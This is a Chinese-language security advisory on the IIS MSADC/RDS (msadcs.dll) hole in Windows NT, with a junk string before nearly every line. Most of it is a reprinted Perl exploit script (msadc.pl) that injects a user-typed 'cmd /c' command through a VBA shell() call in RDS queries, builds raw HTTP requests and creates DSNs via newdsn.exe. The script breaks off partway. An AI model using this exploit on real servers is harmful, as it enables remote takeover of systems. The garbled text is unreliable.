IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
`n$5+a+ yV_4?nh 涉及程序:
:qChMU|Y6 Microsoft NT server
xI>A6 ={LMdC~5X 描述:
,g%&|FAP 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
WTImRXK4 cUTE$/#s 详细:
`tjH< 如果你没有时间读详细内容的话,就删除:
L\y;LSTU c:\Program Files\Common Files\System\Msadc\msadcs.dll
/mp*>sNr6 有关的安全问题就没有了。
Qs9gTBS; It2" x; 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
el:9 wq /-#I_>:8' 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
uV 7BK+[O 关于利用ODBC远程漏洞的描述,请参看:
j"AU z)x fN'HE#W1Xa http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm pABs!A`N 71vkyn@" 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
"M|zv http://www.microsoft.com/security/bulletins/MS99-025faq.asp lFTF ,G $.9{if#o& 这里不再论述。
a{{g<<H f4L`.~b'hb 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
.BFYY13H 1Bpv"67 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ew"v{=X 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
rXA*NeA3v Nbp!teH6 Zh_|m#) #将下面这段保存为txt文件,然后: "perl -x 文件名"
~ o1x;Y6 +[5.WC7J #!perl
ss5m/i7 #
Yv:55+ e!| # MSADC/RDS 'usage' (aka exploit) script
v%fu #
;A#`]-i C # by rain.forest.puppy
=zyC-;r! #
d6W SL;$ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
:]J Ye* # beta test and find errors!
hUYd0qEbEt ~i `>adJ: use Socket; use Getopt::Std;
_1U1(^) getopts("e:vd:h:XR", \%args);
RIIitgV_ Br`IW print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
3Kn_mL3V- D}vmwg@3 if (!defined $args{h} && !defined $args{R}) {
(&!NC[n, print qq~
s+Q~~]HJM Usage: msadc.pl -h <host> { -d <delay> -X -v }
%Qj;, #z -h <host> = host you want to scan (ip or domain)
)KP5WudX -d <seconds> = delay between calls, default 1 second
:sCqjz -X = dump Index Server path table, if available
/Ml.}7& -v = verbose
zL\OB?)5J -e = external dictionary file for step 5
.-<k>9S7_ C*`mM'# Or a -R will resume a command session
vBog0KD);s c
9jGq ~; exit;}
sVl-N&/ og0*Nt+ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
v'BZs if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
=KR
NvW if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
9ksE>[7 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
0@EwM $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
;6!Pwb;hY if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Op_RzZP` 3"P }n if (!defined $args{R}){ $ret = &has_msadc;
k68F-e[i^ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
k2AJXw +-G<c6 | print "Please type the NT commandline you want to run (cmd /c assumed):\n"
kS!viJwtT . "cmd /c ";
,dx3zBI $in=<STDIN>; chomp $in;
q=#}
yEG $command="cmd /c " . $in ;
mVR P~:+ *f?4
if (defined $args{R}) {&load; exit;}
?`4+cx}n E>}4$q[r print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
xl#LrvxI &try_btcustmr;
|M+<m">E 8)4P Ll print "\nStep 2: Trying to make our own DSN...";
~t~-A,1 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
]GRWnif Uy$)%dYfq5 print "\nStep 3: Trying known DSNs...";
z-b*D}& &known_dsn;
tuhA
9}E |JVk&8
?8 print "\nStep 4: Trying known .mdbs...";
V#`fs|e;y &known_mdb;
qu-/"w<3$ +9")KQT if (defined $args{e}){
ph-ATJ" print "\nStep 5: Trying dictionary of DSN names...";
QV&D l_ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
W]5USFan fF V!)Zj print "Sorry Charley...maybe next time?\n";
1Y]TA3: exit;
jb^N|zb 1SR+m>pL ##############################################################################
4A2?Uhpy ANps1w#TP sub sendraw { # ripped and modded from whisker
>`%'4<I sleep($delay); # it's a DoS on the server! At least on mine...
<0PT"ij my ($pstr)=@_;
7Ddaf> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
1hziXC0WY die("Socket problems\n");
XGkkB if(connect(S,pack "SnA4x8",2,80,$target)){
n8DxB@DI select(S); $|=1;
INyk3`FT print $pstr; my @in=<S>;
H(&4[%;MP select(STDOUT); close(S);
=F;.l@: return @in;
@!8ZPiW< } else { die("Can't connect...\n"); }}
ryFxn|4 |USX[jm\ ##############################################################################
Z" uY}P3 BouTcC sub make_header { # make the HTTP request
]| +<P- my $msadc=<<EOT
mb!9&&2-t POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
E_bO9nRHV User-Agent: ACTIVEDATA
-G|G_$9 Host: $ip
w#g#8o>' Content-Length: $clen
\l@,B +) Connection: Keep-Alive
vVgg0Y2 ;Yg{zhJX~ ADCClientVersion:01.06
l}lIi8 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
RJ$7XCY%`* KR%{a(V;7 --!ADM!ROX!YOUR!WORLD!
+|ycvHd Content-Type: application/x-varg
MXyaE~LK Content-Length: $reqlen
5Fz.Y} -Fn}4M EOT
kn/Ao}J74z ; $msadc=~s/\n/\r\n/g;
>N.]|\V return $msadc;}
EKzAd i}~SDY ##############################################################################
!Lh^oPT"I t&(PN%icD sub make_req { # make the RDS request
fhCc! \ my ($switch, $p1, $p2)=@_;
c-Pw]Ju my $req=""; my $t1, $t2, $query, $dsn;
.YZgOJi W
mm4hkf if ($switch==1){ # this is the btcustmr.mdb query
>X51$wBL $query="Select * from Customers where City=" . make_shell();
C*G=cs\i $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
xrN
&N_K# $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
k`x=D5s\ XduV+$03 elsif ($switch==2){ # this is general make table query
$\?yAE $query="create table AZZ (B int, C varchar(10))";
Q3y;$ " $dsn="$p1";}
~M(5Ho .%82P( elsif ($switch==3){ # this is general exploit table query
_kY#D;`:r $query="select * from AZZ where C=" . make_shell();
ez9q7SpA $dsn="$p1";}
#"49fMi/ >[1W:KQA elsif ($switch==4){ # attempt to hork file info from index server
nIvJrAm4k $query="select path from scope()";
/QEiMrz@6 $dsn="Provider=MSIDXS;";}
Z,.G%"i3C X@|&c]] elsif ($switch==5){ # bad query
@+WQ ^ $query="select";
Ia'ZV7' $dsn="$p1";}
w2xG_q E~kG2x{a $t1= make_unicode($query);
$ F S_E $t2= make_unicode($dsn);
Zx$ol;Yd $req = "\x02\x00\x03\x00";
EbZdas!l $req.= "\x08\x00" . pack ("S1", length($t1));
1>Q'R $req.= "\x00\x00" . $t1 ;
kHv[H]+v $req.= "\x08\x00" . pack ("S1", length($t2));
9V.u-^o& $req.= "\x00\x00" . $t2 ;
q-Qxbg[>e $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
`.2hjO return $req;}
d`
Sr4c Pe2w sR"_U ##############################################################################
wIf
{6z{ 9RwawTM sub make_shell { # this makes the shell() statement
>5
b/or return "'|shell(\"$command\")|'";}
^W7X(LQ*+ s[Ur~Wvn ##############################################################################
#pHs@uvO &Z^l=YH, sub make_unicode { # quick little function to convert to unicode
fKtV'/X;Q my ($in)=@_; my $out;
)RsM!} for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
{5|("0[F return $out;}
8by@iQ z* <y5 ##############################################################################
[= "r<W0 \VSATL:] sub rdo_success { # checks for RDO return success (this is kludge)
A%\tiZe my (@in) = @_; my $base=content_start(@in);
BN,>&1I
if($in[$base]=~/multipart\/mixed/){
g-vg6@6 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
8I,QD`
xu return 0;}
^S#t|rN
26n^Dy>} ##############################################################################
+!0eu>~_& @InZ<AW>| sub make_dsn { # this makes a DSN for us
jKIc09H| my @drives=("c","d","e","f");
e &9F\e print "\nMaking DSN: ";
_KD5T4FZR foreach $drive (@drives) {
xdy^^3" print "$drive: ";
m?[5J)eR my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
(5$ZvXx?} "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
<ale$[ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Vga-@ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
VK3it3FI>3 return 0 if $2 eq "404"; # not found/doesn't exist
|vFj*XU if($2 eq "200") {
?nKF6f foreach $line (@results) {
nkeI60 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
y 0ckm6^ } return 0;}
C0x"pO7 iz]rFNR ##############################################################################
7 boJ* \0FT!}
L sub verify_exists {
`&$B3)Eb my ($page)=@_;
~=y3Gd
B3 my @results=sendraw("GET $page HTTP/1.0\n\n");
p D=w>" return $results[0];}
yy(A(} gd^Js1Z ##############################################################################
b*,3<